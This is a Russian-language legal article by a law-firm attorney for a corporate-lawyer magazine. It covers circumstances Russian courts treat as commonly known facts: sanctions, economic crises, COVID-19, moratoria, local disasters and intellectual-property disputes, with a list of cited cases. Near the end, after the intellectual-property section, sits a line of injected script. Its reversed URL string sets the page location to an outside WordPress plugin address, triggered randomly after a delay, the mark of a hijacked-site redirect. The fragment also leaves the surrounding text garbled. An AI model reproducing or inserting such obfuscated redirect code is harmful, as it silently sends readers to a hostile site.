Статья Петра Мацкевича, адвоката Orchards, для журнала «Юрист компании».
В статье – обстоятельства, которые суды признают общеизвестными – компаниям не приходится искать доказательства, чтобы их подтвердить. Достаточно сослаться на такие факты. Какие обстоятельства суды относят к общеизвестным и как ссылки на них помогают компаниям в спорах, читайте далее.
Специальная военная операция, экономические, политические и военные кризисы
Сейчас суды уже признают общеизвестными обстоятельствами специальную военную операцию на Украине, а также введение экономических санкций в отношении России. Например, суды общей юрисдикции ссылаются на эти факты и отменяют решения по делам об административных правонарушениях(СОЮ, СОЮ-1). Арбитражные суды, вероятно, также начнут признавать эти обстоятельства общеизвестными.
Текущая обстановка – не первый случай, когда суды относили политические и военные конфликты к общеизвестным фактам. Например, ранее таковыми признавали протестные акции в Киеве в 2013 – 2014 годах и ухудшение политических и экономических отношений между Россией и Украиной. Так, компания смогла через суд изменить невыгодные ей условия договора со ссылкой на эти события. Стороны заключили договор, по которому компания должна изготовить, провести испытания и поставить оборудование заказчику. Испытывать оборудование надо было на производственной площадке в Харькове. Из-за акций протеста в Киеве и, как следствие, изменения политической ситуации компания не смогла провести испытания на территории Украины. Их пришлось перенести на площадку компании, что увеличило сроки выполнения обязательств по договору. Суды признали изменение политической ситуации и последующее ухудшение отношений между Россией и Украиной общеизвестными обстоятельствами. На основании этого они удовлетворили иск и продлили сроки исполнения обязательств компании(А56).
Общеизвестными обстоятельствами суды признают также макроэкономические потрясения, например, финансовые кризисы(А56-1, А34), ухудшение экономической обстановки и обвал курса рубля(А40). Так, таможня посчитала, что компания занизила цены на товар. На основании этого госорган увеличил его таможенную стоимость. Компания утверждала, что цена на товар снизилась из-за падения общемировых цен на нефть и нефтепродукты. Суд согласился с ее доводом и признал этот факт общеизвестным. Он удовлетворил иск и отменил решение таможни(А56-2).
Хотя суды часто признают экономические кризисы общеизвестными фактами, сами по себе эти обстоятельства не освобождают от ответственности и не влекут прекращение обязательств. Если суд признает такое обстоятельство общеизвестным, это не даст стороне ощутимого преимущества. Участнику, который ссылается на кризис, надо доказать, что из-за него произошли события, которые не позволили исполнить обязательство. Например, суды считают, что негативное изменение экономической ситуации в стране, которое вызвал мировой финансовый кризис, общеизвестное обстоятельство риска. Его последствия по общим положениям ГК лежат на лице, которое осуществляет предпринимательскую деятельность(А07, А58).
Эпидемии и их последствия
Еще пример обстоятельств, которые суды признают общеизвестными: эпидемии и события, которые вызваны их распространением. Пандемия COVID-19 это подтвердила. Суды относят к общеизвестным фактам не только саму пандемию и время ее начала, но и последствия. Так, суд установил: факт того, что распространение COVID-19 создает значительные препятствия для экономической деятельности – общеизвестное обстоятельство. Он учел это, а также тяжелое финансовое положение истца, и снизил размер административного штрафа в два раза(А19).
В другом деле суд признал общеизвестным обстоятельством сбой поставок импортной продукции, который вызвала пандемия. ИП оспаривал включение его в реестр недобросовестных поставщиков. Указывал: он не мог осуществить поставку в срок из-за пандемии и сбоя поставок. Суды трех инстанций удовлетворили иск и признали недействительным решение УФАС, которым истца включили в реестр недобросовестных поставщиков. Они сделали ссылку на общеизвестные обстоятельства. Также учли, что истец все же поставил товар частично, а позже уведомил заказчика о невозможности исполнить остальные обязательства вовремя. Суды не нашли в действиях ИП признаков недобросовестного поведения(А19-1). Еще одно общеизвестное обстоятельство, которое признают суды: прекращение международного сообщения с Турцией в связи с пандемией COVID-19(СОЮ-2).
Мораторий, которым запретили начислять неустойку
Общеизвестными обстоятельствами суды стали признавать моратории. Так, кассация признала таким обстоятельством мораторий, которым запретили начислять неустойку по договорам участия в долевом строительстве. Компания требовала расторгнуть договор долевого участия, вернуть деньги и выплатить неустойку. Суды частично удовлетворили требования. Кассация согласилась со всеми выводами, кроме суммы неустойки. Указала: в расчет истец включил период, когда действовал мораторий. По мнению кассации, его введение – общеизвестный факт, поэтому он влияет на обязательства сторон вне зависимости от заявлений об этом лиц, которые участвуют в деле. На основании этого суд округа отменил судебные акты в части размера неустойки и направил дело на новое рассмотрение. В результате из расчета неустойки исключили период действия моратория и дополнительно снизили ее размер по статье 333 ГК. Компания смогла взыскать с застройщика только 200 тысяч рублей вместо 1,1 млн, которые требовала изначально(А41).
###NB###
Не стоит рассчитывать, что суды станут признавать общеизвестными обстоятельствами введение мораториев, например, на банкротство, который действует с 1 апреля этого года. Суды должны знать о моратории в силу общеправового принципа jura novit curia – «суд знает право», не в силу его общеизвестности, поскольку мораторий вводится нормативно-правовым актом и не является фактическим обстоятельством спора.
Общеизвестными удается признать не только международные события или обстоятельства на федеральном уровне
Суды признают общеизвестными обстоятельствами не только всемирно известные события, например, проведение Чемпионата мира по футболу в 2018 году в России. К ним суды относят и обстоятельства на локальном уровне: факты, которые широко известны в конкретном городе или области, но о которых могли не слышать в других частях страны. Обычно это природные аномалии или катаклизмы: сильный снегопад, ледяной дождь, ураганы, паводки, которые произошли в отдельном регионе или местности. События, о которых известно на федеральном уровне, также признают общеизвестными обстоятельствами. Например, суды признавали таковыми даты выборов, в частности, в Государственную Думу или Президента, падение «Челябинского метеорита».
Источники: определение ВС от 20.02.2015 по делу № А76-1173/2014, постановление АС Северо-Западного округа от 24.12.2018 по делу № А56-9400/2018.
Когда и как ссылки на общеизвестные факты помогают компании в спорах об интеллектуальных правах
Ссылки на общеизвестные обстоятельства часто помогают сторонам в спорах об интеллектуальных правах. Это связано с тем, что в таких спорах требуется выяснять вопросы, насколько популярны спорные произведения, товарные знаки и иные охраняемые объекты. Так, СИП признал общеизвестным обстоятельством наличие Вечного огня в составе Памятника на могиле Неизвестного солдата и его внешний вид. Это помогло стороне оспорить решение Роспатента, который не принял ее возражения относительно предоставления правовой охраны сходному товарному знаку другого лица.
В другом деле общеизвестным фактом признали широкую известность мультфильмов «Умка» и «Умка ищет друга», а также то, что они включены в золотую коллекцию фильмов киностудии «Союзмультфильм». На основании этого СИП подтвердил решение Роспатента, который отказал компании в регистрации товарного знака «Умка».
Источники: решения СИП от 14.10.2021 по делу № СИП-371/2021, от 27.10.2021 по делу № СИП-626/2021
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor has-alpha-channel-opacity»/>
СОЮ Решение Курского областного суда от 01.04.2022 по делу № 12-92-АК/2022
СОЮ-1 Постановление Октябрьского районного суда города Рязани от 23.03.2022 № 5-188/2022
А56 Постановление АС Северо-Западного округа от 08.06.2018 по делу № А56-49372/2017
А56-1 Постановление АС Северо-Западного округа от 21.12.2020 по делу № А56-1486/2010
А34 Постановление АС Уральского округа от 23.03.2021 по делу № А34-3760/2019
А40 Постановление Девятого ААС от 12.01.2022 по делу № А40-35812/2016
А56-2 Постановление Тринадцатого ААС от 15.11.2021 по делу № А56-2443/2021
А07 Постановление Восемнадцатого ААС от 11.04.2022 по делу № А07-24750/2020
А58 Решение АС Республики Саха (Якутия) от 01.12.2021 по делу № А58-7840/2021
А19 Постановление Четвертого ААС от 28.04.2021 по делу № А19-13424/2019
А19-1 Постановление АС Восточно-Сибирского округа от 01.02.2022 по делу № А19-13465/2021
СОЮ-2 Апелляционное определение ВС Республики Дагестан от 11.11.2020 по делу № 2-1796/20
А41 Постановление АС Московского округа от 27.01.2022 по делу № А41-13600/2021